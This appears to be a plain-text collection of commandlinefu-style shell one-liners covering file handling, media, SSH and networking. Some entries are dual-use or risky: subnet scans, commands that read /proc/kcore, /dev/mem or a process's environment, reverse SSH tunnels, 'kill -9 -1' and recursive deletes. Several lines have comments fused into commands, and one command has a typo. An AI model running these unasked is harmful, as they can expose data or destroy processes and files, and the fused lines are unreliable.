ssh-keygen; ssh-copy-id user@host; ssh user@host
# iso-8859-1 to utf-8 safe recursive rename
detox -r -s utf_8 /path/to/old/win/files/dir
# git remove files which have been deleted
git rm $(git ls-files --deleted)
# Show biggest files/directories, biggest first with 'k,m,g' eyecandy
du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'
# Terminate a frozen SSH-session
RETURN~.
# Download an entire static website to your local machine
wget --recursive  --page-requisites --convert-links www.moyagraphix.co.za
# Get list of servers with a specific port open
nmap -sT -p 80 -oG - 192.168.1.* | grep open
# Efficiently print a line deep in a huge log file
sed '1000000!d;q' < massive-log-file.log
# Convert seconds into minutes and seconds
echo 'obase=60;299' | bc
# List by size all of the directories in a given tree.
du -h /path | sort -h
# Short and elegant way to backup a single file before you change it.
cp httpd.conf{,.bk}
# Find broken symlinks
find -L . -type l
# Python version 3: Serve current directory tree at http://$HOSTNAME:8000/
python -m http.server
# Make sudo forget password instantly
sudo -K
# Running scripts after a reboot for non-root users .
@reboot <yourscript.sh>
# Display BIOS Information
# dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8
# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes')
# intersection between two files
grep -Fx -f file1 file2
# Mirror a directory structure from websites with an Apache-generated file index
eslftp -e "mirror -c" http://example.com/foobar/
# View all date formats, Quick Reference Help Alias
alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;s/^ *%\([:a-z]\+\) \+/\1_/gI;s/%/#/g;s/^\([a-y]\|[z:]\+\)_/%%\1_%\1_/I"|while read L;do date "+${L}"|sed y/!#/%%/;done|column -ts_'
# Limit bandwidth usage by apt-get
sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade
# track flights from the command line
flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
# Tune your guitar from the command line.
for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done
# Make sure a script is run in a terminal.
[ -t 0 ] || exit 1
# Split a tarball into multiple parts
tar cf - <dir>|split -b<max_size>M - <name>.tar.
# Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
# convert filenames in current directory to lowercase
rename 'y/A-Z/a-z/' *
# More precise BASH debugging
env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
# Matrix Style
echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r   "; else v+="\e[2m $r   "; fi; else v+="     "; fi; done; echo -e "$v"; v=""; done
# Identify long lines in a file
awk 'length>72' file
# Ultimate current directory usage command
ncdu
# get all pdf and zips from a website using wget
wget --reject html,htm --accept pdf,zip -rl1 url
# Show directories in the PATH, one per line
echo "${PATH//:/$'\n'}"
# Analyze awk fields
awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
# pipe output of a command to your clipboard
some command|xsel --clipboard
# Smiley Face Bash Prompt
PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
# create an emergency swapfile when the existing swap space is getting tight
sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile
# Purge configuration files of removed packages on  debian based systems
sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
# restoring some data from a corrupted text file
( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
# Redirect STDIN
< /path/to/file.txt grep foo
# clear current line
CTRL+u
# Convert all MySQL tables and fields to UTF8
mysql --database=dbname -B -N -e "SHOW TABLES"  | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &
# Cut out a piece of film from a file. Choose an arbitrary length and starting t
ime.ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
# Browse system RAM in a human readable form
sudo cat /proc/kcore | strings | awk 'length > 20' | less
# List the files any process is using
lsof +p xxxx
# Get Cisco network information
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
# change directory to actual path instead of symlink path
cd `pwd -P`
# Batch convert files to utf-8
find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
# Use last argument of last command
file !$
# Recursively remove .svn directories from the current location
find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
# Get http headers for an url
curl -I www.commandlinefu.com
# List files accessed by a command
strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print'
# Ask for a password, the passwd-style
read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
# Content search.
ff() { local IFS='|'; grep -rinE "$*" . ; }
# Protect directory from an overzealous rm -rf *
cd <directory>; touch ./-i
# Blink LED Port of NIC Card
ethtool -p eth0
# run command on a group of nodes in parallel
echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3"
# Remove Thumbs.db files from folders
find ./ -name Thumbs.db -delete
# List open files that have no links to them on the filesystem
lsof +L1
# open path with your default program (on Linux/*BSD)
xdg-open [path]
# Copy an element from the previous command
!:1-3
# View user activity per directory.
sudo lsof -u someuser -a +D /etc
# Choose from a nice graphical menu which DI.FM radio station to play
zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
# Quickly share code or text from vim to others.
:w !curl -F "sprunge=<-" http://sprunge.us | xclip
# copy from host1 to host2, through your host
ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"
# Monitor open connections for httpd including listen, count and sort it per IP
watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }
# Print a list of standard error codes and descriptions.
perl -le 'print $!+0, "\t", $!++ for 0..127'
# Change pidgin status
purple-remote "setstatus?status=away&message=AFK"
# Numbers guessing game
A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
# quickest (i blv) way to get the current program name minus the path (BASH)
path_stripped_programname="${0##*/}"
# A function to output a man page as a pdf file
function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
# a trash function for bash
trash <file>
# Remove executable bit from all files in the current directory recursively, exc
luding other directorieschmod -R -x+X *
# Identify differences between directories (possibly on different servers)
diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
# Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000  image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
# Use all the cores or CPUs when compiling
make -j 4
# Move all images in a directory into a directory hierarchy based on year, month
 and day based on exif informationexiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir
# Show me a histogram of the busiest minutes in a log file:
cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
# Print a great grey scale demo !
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# Find broken symlinks and delete them
find -L /path/to/check -type l -delete
# Run a command, store the output in a pastebin on the internet and place the UR
L on the xclipboardls | curl -F 'sprunge=<-' http://sprunge.us | xclip
# Find if the command has an alias
type -all command
# Get your public ip using dyndns
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
# Show a config file without comments
egrep -v "^$|^[[:space:]]*#" /etc/some/file
# Display current bandwidth statistics
ifstat -nt
# Given process ID print its environment variables
sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ
# view the system console remotely
sudo cat /dev/vcs1 | fold -w 80
# Fix Ubuntu's Broken Sound Server
sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &
# Download all Delicious bookmarks
curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
# I hate `echo X | Y`
base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
# Create a favicon
convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm
# Schedule a download at a later time
echo 'wget url' | at 01:00
# Add calendar to desktop wallpaper
convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
# create dir tree
mkdir -p doc/{text/,img/{wallpaper/,photos/}}
# Check Ram Speed and Type in Linux
sudo dmidecode --type 17 | more
# Run the Firefox Profile Manager
firefox -no-remote -P
# Delete the specified line
sed -i 8d ~/.ssh/known_hosts
# Extract audio from a video
ffmpeg -i video.avi -f mp3 audio.mp3
# Get Dell Service Tag Number from a Dell Machine
sudo dmidecode | grep Serial\ Number | head -n1
# Resume aborted scp file transfers
rsync --partial --progress --rsh=ssh SOURCE DESTINATION
# Generat a Random MAC address
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
# Color man pages
echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc
# Query well known ports list
getent services <<service>>
# Diff XML files
diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }
# What is the use of this switch ?
manswitch () { man $1 | less -p "^ +$2"; }
# Save the list of all available commands in your box to a file
compgen -c | sort -u > commands
# monitor memory usage
watch vmstat -sSM
# Figure out what shell you're running
echo $0
# Compare copies of a file with md5
cmp file1 file2
# backup delicious bookmarks
curl --user login:password -o DeliciousBookmarks.xml -O 'https://api.del.icio.us/v1/posts/all'
# List 10 largest directories in current directory
du -hs */ | sort -hr | head
# Reuse last parameter
!$
# See where a shortened url takes you before click
check(){ curl -sI $1 | sed -n 's/Location:.* //p';}
# Stream YouTube URL directly to MPlayer
yt () mplayer -fs -quiet $(youtube-dl -g "$1")
# run command on a group of nodes in parallel
echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3)
# Print just line 4 from a textfile
sed -n '4{p;q}'
# Find all active ip's in a subnet
sudo arp-scan -I eth0 192.168.1.0/24
# Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done
# Print a row of characters across the terminal
printf "%`tput cols`s"|tr ' ' '#'
# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "
# Remote backups with tar over ssh
tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
# Make ISO image of a folder
mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
# Insert  the  last  argument  of  the previous command
<ALT> .
# Play music from youtube without download
wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123  -
# generate a unique and secure password for every website that you login to
sitepass() { echo -n "$@" |  md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]"  | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
# Change user, assume environment, stay in current dir
su -- user
# find all active IP addresses in a network
arp-scan -l
# How fast is the connexion to a URL, some stats from curl
URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s  conn %{time_connect}s  time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL
# bash: hotkey to put current commandline to text-editor
bash-hotkey: <CTRL+x+e>
# find and delete empty dirs, start in current working dir
find . -empty -type d -exec rmdir {} +
# List programs with open ports and connections
lsof -i
# Colored SVN diff
svn diff <file> | vim -R -
# find files containing text
grep -lir "some text" *
# Share a 'screen'-session
screen -x
# Show all detected mountable Drives/Partitions/BlockDevices
hwinfo --block --short
# Diff files on two remote hosts.
diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
# Send keypresses to an X application
xvkbd -xsendevent -text "Hello world"
# Run any GUI program remotely
ssh -fX <user>@<host> <program>
# Backup your hard drive with dd
sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
# Sort dotted quads
sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
# Pipe STDOUT to vim
tail -1000 /some/file | vim -
# Backup a remote database to your local filesystem
ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
# Quick glance at who's been using your system recently
last  | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
# ping a range of IP addresses
nmap -sP 192.168.1.100-254
# Verify/edit bash history command before executing it
shopt -s histverify
# Resize an image to at least a specific resolution
convert -resize '1024x600^' image.jpg small-image.jpg
# Print without executing the last command that starts with...
!ssh:p
# Create .pdf from .doc
oowriter -pt pdf your_word_file.doc
# Find the most recently changed files (recursively)
find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
# Timer with sound alarm
sleep 3s && espeak "wake up, you bastard" 2>/dev/null
# clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
c() printf "\33[2J"
# Run a program transparently, but print a stack trace if it fails
gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$
# Rename all .jpeg and .JPG files to .jpg
rename 's/\.jpe?g$/.jpg/i' *
# Random unsigned integer
echo $(openssl rand 4 | od -DAn)
# Get My Public IP Address
curl ifconfig.me
# translates acronyms for you
wtf is <acronym>
# dd with progress bar and statistics
sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
# Disassemble some shell code
echo -ne "<shellcode>" | x86dis -e 0 -s intel
# ignore the .svn directory in filename completion
export FIGNORE=.svn
# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
# Convert a Nero Image File to ISO
dd bs=1k if=image.nrg of=image.iso skip=300
# Pronounce an English word using Dictionary.com
pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
# Grep by paragraph instead of by line.
grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
# live ssh network throughput test
pv /dev/zero|ssh $host 'cat > /dev/null'
# Vim: Switch from Horizontal split to Vertical split
^W-L
# Clean your broken terminal
stty sane
# Kill processes that have been running for more than a week
find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
# Save current layout of top
<Shift + W>
# Testing hard disk reading speed
hdparm -t /dev/sda
# Replace spaces in filenames with underscores
rename -v 's/ /_/g' *
# move a lot of files over ssh
rsync -az /home/user/test user@sshServer:/tmp/
# Stream YouTube URL directly to mplayer
id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')
# Get all IPs via ifconfig
ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
# Get all these commands in a text file with description.
for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x"  ; done > commandlinefu.txt
# Convert "man page" to text file
man ls | col -b > ~/Desktop/man_ls.txt
# Show git branches by date - useful for showing active branches
for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
# Find last reboot time
who -b
# for all flv files in a dir, grab the first frame and make a jpg.
for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
# Start screen in detached mode
screen -d -m [<command>]
# Monitor TCP opened connections
watch -n 1 "netstat -tpanl | grep ESTABLISHED"
# Look up the definition of a word
curl dict://dict.org/d:something
# Ctrl+S Ctrl+Q terminal output lock and unlock
Ctrl+S Ctrl+Q
# beep when a server goes offline
while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
# Number of open connections per ip.
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# from within vi, pipe a chunk of lines to a command line and replace the chunk 
with the result!}sort
# Fibonacci numbers with awk
seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
# Append stdout and stderr to a file, and print stderr to the screen [bash]
somecommand 2>&1 >> logfile | tee -a logfile
# Read the output of a command into the buffer in vim
:r !command
# Grep for word in directory (recursive)
grep --color=auto -iRnH "$search_word" $directory
# Calculates the date 2 weeks ago from Saturday the specified format.
date -d '2 weeks ago Saturday' +%Y-%m-%d
# Another Curl your IP command
curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
# Add your public SSH key to a server in one command
cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
# ssh tunnel with auto reconnect ability
while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
# find process associated with a port
fuser [portnumber]/[proto]
# pattern match in awk - no grep
awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
# cycle through a 256 colour palette
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# scping files with streamlines compression (tar gzip)
tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
# Discovering all open files/dirs underneath a directory
lsof +D <dirname>
# Substrings a variable
var='123456789'; echo ${var:<start_pos>:<offset>}
# Check syntax for all PHP files in the current directory and all subdirectories
find . -name \*.php -exec php -l "{}" \;
# RDP through SSH tunnel
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
# clean up memory of unnecessary things (Kernerl 2.6.16 or newer)
sync && echo 1 > /proc/sys/vm/drop_caches
# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/   Link.*HWaddr//' ; }
# ssh to machine behind shared NAT
ssh -NR 0.0.0.0:2222:127.0.0.1:22 [email protected]
# Countdown Clock
MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";sleep 1;done
# the same as [Esc] in vim
Ctrl + [
# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
# prevent accidents and test your command with echo
echo rm *.txt
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
# Print just line 4 from a textfile
sed -n '4p'
# Display BIOS Information
dmidecode -t bios
# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png -
# Show directories in the PATH, one per line
echo $PATH | tr \: \\n
# find the process that is using a certain port e.g. port 3000
lsof -P | grep ':3000'
# Cleanup firefox's database.
pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
# Discovering all open files/dirs underneath a directory
lsof +D <dirname>
# the same as [Esc] in vim
Ctrl + [
# archive all files containing local changes (svn)
svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
# RDP through SSH tunnel
ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost
# geoip information
curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
# make, or run a script, everytime a file in a directory is modified
while true; do inotifywait -r -e MODIFY dir/ && make; done;
# Print just line 4 from a textfile
sed -n '4p'
# clean up memory of unnecessary things (Kernerl 2.6.16 or newer)
sync && echo 1 > /proc/sys/vm/drop_caches
# Sort all running processes by their memory & CPU usage
ps aux --sort=%mem,%cpu
# Find broken symlinks
find . -type l ! -exec test -e {} \; -print
# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/   Link.*HWaddr//' ; }
# Pick a random line from a file
shuf -n1 file.txt
# Find removed files still in use via /proc
find -L /proc/*/fd -links 0 2>/dev/null
# VIM: Replace a string with an incrementing number between marks 'a and 'b (eg,
 convert string ZZZZ to 1, 2, 3, ...):let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
# Grep colorized
grep -i --color=auto
# play high-res video files on a slow processor
mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
# find and delete empty dirs, start in current working dir
find . -type d -empty -delete
# Generate a list of installed packages on Debian-based systems
dpkg --get-selections > LIST_FILE
# Carriage return for reprinting on the same line
while true; do echo -ne "$(date)\r"; sleep 1; done
# Set your profile so that you resume or start a screen session on login
echo "screen -DR" >> ~/.bash_profile
# prevent accidents and test your command with echo
echo rm *.txt
# Convert .wma files to .ogg with ffmpeg
find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
# Check syntax for all PHP files in the current directory and all subdirectories
find . -name \*.php -exec php -l "{}" \;
# find and replace tabs for spaces within files recursively
find ./ -type f -exec sed -i 's/\t/  /g' {} \;
# Press ctrl+r in a bash shell and type a few letters of a previous command
^r in bash begins a reverse-search-history with command completion
# output your microphone to a remote computer's speaker
arecord -f dat | ssh -C user@host aplay -f dat
# Save a file you edited in vim without the needed permissions (no echo)
:w !sudo tee > /dev/null %
# Make a file not writable / immutable by root
sudo chattr +i <file>
# infile search and replace on N files (including backup of the files)
perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
# add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| xargs svn add
# Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself i
f something breaks the connection temporarilyautossh -f -M 20000 -D 8000 somehost -N
# Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '
# Record microphone input and output to date stamped mp3 file
arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
# kill all process that belongs to you
kill -9 -1
# View ~/.ssh/known_hosts key information
ssh-keygen -l -f ~/.ssh/known_hosts
# Do some learning...
ls /usr/bin | xargs whatis | grep -v nothing | less
# Find running binary executables that were not installed using dpkg
cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
# Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
# Traceroute w/TCP to get through firewalls.
tcptraceroute www.google.com
# wrap long lines of a text
fold -s -w 90 file.txt
# sends a postscript file to a postscript printer using netcat
cat my.ps | nc -q 1 hp4550.mynet.xx 9100
# computes the most frequent used words of a text file
cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
# Look up a unicode character by name
egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf "\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done
# Monitor dynamic changes in the dmesg log.
watch "dmesg |tail -15"
# Print text string vertically, one character per line.
echo "vertical text" | grep -o '.'
# Displays the attempted user name, ip address, and time of SSH failed logins on
 Debian machinesawk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log
# Create a bunch of dummy files for testing
touch {1..10}.txt
# Find the package a command belongs to on Debian
dpkg -S $( which  ls )
# Replace spaces in filenames with underscorees
ls | while read f; do mv "$f" "${f// /_}";done
# Terminal redirection
script /dev/null | tee /dev/pts/3
# Generate Random Passwords
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6
# Files extension change
rename .oldextension .newextension *.oldextension
# Converts to PDF all the OpenOffice.org files in the directory
for i in $(ls *.od{tp]); do unoconv -f pdf $i; done
# Print info about your real user.
who loves mum
# A formatting test for David Winterbottom: improving commandlinefu for submitte
rsecho "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?, but I don't sing that one cause it doesn't rhyme."
# Secure copy from one server to another without rsync and preserve users, etc
tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
# Multiple SSH Tunnels
ssh -L :: -L :: @
# Get all IPs via ifconfig
ifconfig | perl -nle'/dr:(\S+)/ && print $1'
# count IPv4 connections per IP
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n
# Add prefix onto filenames
rename 's/^/prefix/' *
# Create directory named after current date
mkdir $(date +%Y%m%d)
# Merge *.pdf files
gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
# run a command whenever a file is touched
ontouchdo(){ while :; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done }
# Pause Current Thread
ctrl-z
# Resume a detached screen session, resizing to fit the current terminal
screen -raAd
# Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r
# Function that outputs dots every second until command completes
sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
# Watch several log files of different machines in a single multitail window on 
your own machinemultitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine2 "tail -f /var/log/apache2/error.log"'
# urldecoding
sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
# Continue a current job in the background
<ctrl+z> bg
# renames multiple files that match the pattern
rename 's/foo/bar/g' *
# Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'text to be encrypted' | openssl md5
# "Clone" a list of installed packages from one Debian/Ubuntu Server to another
apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'`
# Convert camelCase to underscores (camel_case)
sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
# bash screensaver (scrolling ascii art with customizable message)
while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
# Find recursively, from current directory down, files and directories whose nam
es contain single or multiple whitespaces and replace each such occurrence with a single underscore.find  ./  -name '*'  -exec  rename  's/\s+/_/g'  {}  \;
# Remove all subversion files from a project recursively
rm -rf `find . -type d -name .svn`
# runs a X session within your X session
ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost'
# Nice info browser
pinfo
# Count files beneath current directory (including subfolders)
find . -type f | wc -l
# hard disk information - Model/serial no.
hdparm -i[I] /dev/sda
# Fetch every font from dafont.com to current folder
